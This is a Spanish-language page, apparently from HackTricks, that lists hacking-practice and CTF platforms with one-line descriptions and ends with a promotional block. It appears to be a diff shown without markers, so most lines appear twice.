Tryhackme es una plataforma con máquinas virtuales que se resuelven a través de guías, lo cual es muy bueno para principiantes y CTFs normales donde debes hackear las máquinas por ti mismo.
## [https://www.root-me.org/](https://www.root-me.org)
Rootme es otra página para máquinas virtuales alojadas en línea para hackear.
Rootme es otra página con máquinas virtuales alojadas en línea para hackear.
## [https://www.vulnhub.com/](https://www.vulnhub.com)
Vulnhub tiene máquinas para descargar y luego hackear.
Vulnhub tiene máquinas para descargar y luego hackear
## [https://hack.me/](https://hack.me)
Este sitio parece ser una plataforma comunitaria.
Este sitio parece ser una plataforma comunitaria
## [https://www.hacker101.com/](https://www.hacker101.com)
Sitio gratuito con videos y CTFs.
sitio gratuito con videos y CTFs
## [https://crackmes.one/](https://crackmes.one)
@ -52,21 +50,19 @@ Este sitio tiene muchos binarios para el aprendizaje forense.
## [https://attackdefense.com/](https://attackdefense.com)
## [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard)
Este sitio web tiene muchos laboratorios de explotación web
Este sitio web tiene muchos laboratorios de explotación web.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>